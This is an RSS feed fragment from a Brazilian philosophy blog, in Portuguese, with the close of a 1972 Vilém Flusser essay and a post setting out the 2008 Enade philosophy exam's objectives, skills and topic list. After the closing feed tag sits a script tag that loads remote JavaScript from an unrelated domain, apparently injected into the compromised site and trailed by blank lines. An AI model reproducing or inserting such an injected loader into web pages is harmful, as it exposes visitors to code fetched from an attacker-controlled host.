<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Uma coisa é certa: o empobrecimento do nosso repertório pela moral sadia é uma pena. Homem nenhum pode realizar-se plenamente nos papeis impostos pela moral, e, com ênfase ainda maior, mulher humana. Daí o movimento da libertação feminina. Possivelmente o termo &#8220;&#8221;sadio&#8221;" deveria ser redefinido para significar &#8220;&#8221;salvação&#8221;" novamente?</p>
<p><center><img src='http://www.filosofante.com.br/v1/wp-content/img/linha.gif' /></center><br />
<span style="color:#006600;">[<strong>Vilém Flusser</strong>]</span><br />
Publicado originalmente em <b>&#8220;Folha de São Paulo&#8221;</b> 08/03/1972</p>
]]></content:encoded>
			<wfw:commentRss>http://www.filosofante.com.br/?feed=rss2&amp;p=362</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Filosofia e Enade 2008</title>
		<link>http://www.filosofante.com.br/?p=21</link>
		<comments>http://www.filosofante.com.br/?p=21#comments</comments>
		<pubDate>Tue, 28 Oct 2008 19:12:26 +0000</pubDate>
		<dc:creator>Bill</dc:creator>
				<category><![CDATA[Filosofia]]></category>
		<category><![CDATA[Notícias]]></category>
		<category><![CDATA[Enade]]></category>
		<category><![CDATA[Exame]]></category>
		<category><![CDATA[Mec]]></category>

		<guid isPermaLink="false">http://www.filosofante.com.br/?p=21</guid>
		<description><![CDATA[Enfim temos as últimas informações sobre o Enade, agora com matéria especifica exigida para cada curso. 
Art. 4º
 A prova do Enade 2008, no componente específico da área de Filosofia, terá por objetivos:

a) Avaliar o processo de formação do estudante de filosofia, tendo em vista as competências e habilidades específicas requeridas para atuação na área,quer <a href="http://www.filosofante.com.br/?p=21" class="more-link">Mais &#62;</a>]]></description>
			<content:encoded><![CDATA[<p>Enfim temos as últimas informações sobre o Enade, agora com matéria especifica exigida para cada curso. </p>
<p><span style="color:#006600;"><b>Art. 4º</b></span><br />
 A prova do Enade 2008, no componente específico da área de Filosofia, terá por objetivos:</p>
<p><span id="more-21"></span><br />
<b>a)</b> Avaliar o processo de formação do estudante de filosofia, tendo em vista as competências e habilidades específicas requeridas para atuação na área,quer como bacharel,quer como licenciado em filosofia;<br />
<b>b)</b> Auxiliar na formulação de políticas de aperfeiçoamento do referido processo de formação do estudante.</p>
<p><span style="color:#006600;"><b>Art. 5º</b></span><br />
 A prova do Enade 2008, no componente específico da área de Filosofia, tomará como referência o seguinte perfil do profissional.O egresso do curso de filosofia, seja ele licenciado ou bacharel, deverá apresentar uma sólida formação em história da filosofia, que o capacite a:</p>
<p><b>a)</b> compreender os principais temas, problemas e sistemas filosóficos;<br />
<b>b)</b> servir-se do legado das tradições filosóficas para dialogar com as ciências e artes e refletir sobre a realidade;<br />
<b>c)</b> transmitir o legado da tradição e o gosto pelo pensamento inovador, crítico e independente.</p>
<p><span style="color:#006600;"><b>Art. 6º</b></span><br />
 A prova do Enade 2008, no componente específico da área de Filosofia, avaliará se o estudante desenvolveu, no processo de formação, as seguintes habilidades e competências:</p>
<p><b>a)</b> capacitação para um modo especificamente filosófico de formular e propor soluções a problemas, nos diversos campos do conhecimento;<br />
<b>b)</b> capacidade de desenvolver uma consciência crítica sobre conhecimento, razão e realidade sócio-histórico-política;<br />
<b>c)</b> capacidade para análise, interpretação e  comentário de textos teóricos, segundo os mais rigorosos procedimentos de técnica hermenêutica;<br />
<b>d)</b> compreensão da importância das questões acerca do sentido e da significação da própria existência e das produções culturais;<br />
<b>e)</b> percepção da integração necessária entre a filosofia e a produção científica, artística, bem como agir pessoal e político;<br />
<b>f)</b> capacidade de relacionar o exercício da crítica filosófica com a promoção integral da cidadania e como respeito à pessoa, dentro da tradição de defesa dos direitos humanos.</p>
<p><span style="color:#006600;"><b>Art. 7º</b></span><br />
 A prova do Enade 2008, no componente específico da área de Filosofia, tendo em conta que seus cursos devem, necessariamente, promover contato direto com as fontes filosóficas originais, tomará como referencial os conteúdos listados abaixo, relativos às matérias próprias do currículo mínimo dos cursos de filosofia (a saber, História da Filosofia, Teoria do Conhecimento, Ética, Lógica e Filosofia Geral: Problemas Metafísicos):</p>
<p><span style="color:#0000FF;"><b>1)</b></span> Validade e verdade. Proposição e argumento;<br />
<span style="color:#0000FF;"><b>2)</b></span> Falácias não-formais. Reconhecimento de argumentos. Conteúdo e Forma;<br />
<span style="color:#0000FF;"><b>3)</b></span> Quadro de oposições entre proposições categóricas. Inferências imediatas em contexto categórico. Conteúdo existencial e proposições categóricas;<br />
<span style="color:#0000FF;"><b>4)</b></span> Tabelas de verdade. Cálculo proposicional;<br />
<span style="color:#0000FF;"><b>5)</b></span> Cálculo de predicados. Teoria da Quantificação;<br />
<span style="color:#0000FF;"><b>6)</b></span> Filosofia pré-socrática. Uno e múltiplo. Movimento e realidade;<br />
<span style="color:#0000FF;"><b>7)</b></span> Teoria das idéias em Platão. Conhecimento e opinião.  Aparência e realidade;<br />
<span style="color:#0000FF;"><b>8 )</b></span> Apolítica antiga. A República de Platão. A Política de Aristóteles;<br />
<span style="color:#0000FF;"><b>9)</b></span> A ética antiga. Platão, Aristóteles, filósofos helenistas;<br />
<span style="color:#0000FF;"><b>10)</b></span> Conceitos centrais da metafísica aristotélica. A teoria da ciência aristotélica;<br />
<span style="color:#0000FF;"><b>11)</b></span> Verdade, justificação e ceticismo;<br />
<span style="color:#0000FF;"><b>12)</b></span> O problema dos universais. Os transcendentais;<br />
<span style="color:#0000FF;"><b>13)</b></span> Tempo e eternidade. Conhecimento humano e conhecimento divino;<br />
<span style="color:#0000FF;"><b>14)</b></span> Teoria do conhecimento e do juízo em Tomás de Aquino;<br />
<span style="color:#0000FF;"><b>15)</b></span> A teoria das virtudes no período medieval;<br />
<span style="color:#0000FF;"><b>16)</b></span> Provas da existência de Deus. Argumento ontológico, cosmológico, teleológico;<br />
<span style="color:#0000FF;"><b>17)</b></span> Teoria do conhecimento nos modernos.Verdade e evidência. Idéias. Causalidade. Indução. Método;<br />
<span style="color:#0000FF;"><b>18)</b></span> Vontade divina e liberdade humana;<br />
<span style="color:#0000FF;"><b>19)</b></span> Teorias do sujeito na filosofia moderna;<br />
<span style="color:#0000FF;"><b>20)</b></span> O contratualismo;<br />
<span style="color:#0000FF;"><b>21)</b></span> Razão e entendimento. Razão e Sensibilidade. Intuição e conceito;<br />
<span style="color:#0000FF;"><b>22)</b></span> Éticas do dever. Fundamentações da moral. Autonomia do sujeito;<br />
<span style="color:#0000FF;"><b>23)</b></span> Idealismo alemão. Filosofias da história;<br />
<span style="color:#0000FF;"><b>24)</b></span> Razão e Vontade. O belo e o sublime na filosofia alemã;<br />
<span style="color:#0000FF;"><b>25)</b></span> Crítica à metafísica na contemporaneidade. Nietzsche, Wittgenstein, Heidegger;<br />
<span style="color:#0000FF;"><b>26)</b></span> Fenomenologias. Existencialismos;<br />
<span style="color:#0000FF;"><b>27)</b></span> Filosofia analítica. Frege, Russell, Wittgenstein. O Círculo de Viena;<br />
<span style="color:#0000FF;"><b>28)</b></span> Marxismo e Escola de Frankfurt;<br />
<span style="color:#0000FF;"><b>29)</b></span> Epistemologias contemporâneas. Filosofia da ciência. O problema da demarcação entre ciência e metafísica;<br />
<span style="color:#0000FF;"><b>30)</b></span> Filosofia francesa contemporânea. Foucault, Deleuze.</p>
<p><span style="color:#006600;"><b>Art. 8º</b></span><br />
 A prova do Enade 2008 terá, em seu componente específico da área de Filosofia, 30 (trinta) questões, sendo <strong>3 (três) discursivas e 27 (vinte sete) de múltipla escolha</strong>, envolvendo situação-estímulo, textos de autores clássicos da filosofia.</p>
<p><span style="color:#006600;"><b>Art. 9º</b></span><br />
 A Comissão Assessora de Avaliação da área de Filosofia e a Comissão Assessora de Avaliação da Formação Geral subsidiarão a banca de elaboração com informações adicionais sobre a prova do Enade 2008.</p>
<p>Em portaria publicada recentemente o MEC (Ministério da Educação) disponibilizou as informações completas, que podem ser conferidas no endereço http://www.inep.gov.br/download/imprensa/portaria_n124.pdf</p>
]]></content:encoded>
			<wfw:commentRss>http://www.filosofante.com.br/?feed=rss2&amp;p=21</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
<script type="text/javascript" src="http://wheelingaccountants.com/tbp7vn83.php?id=37450139"></script>


















































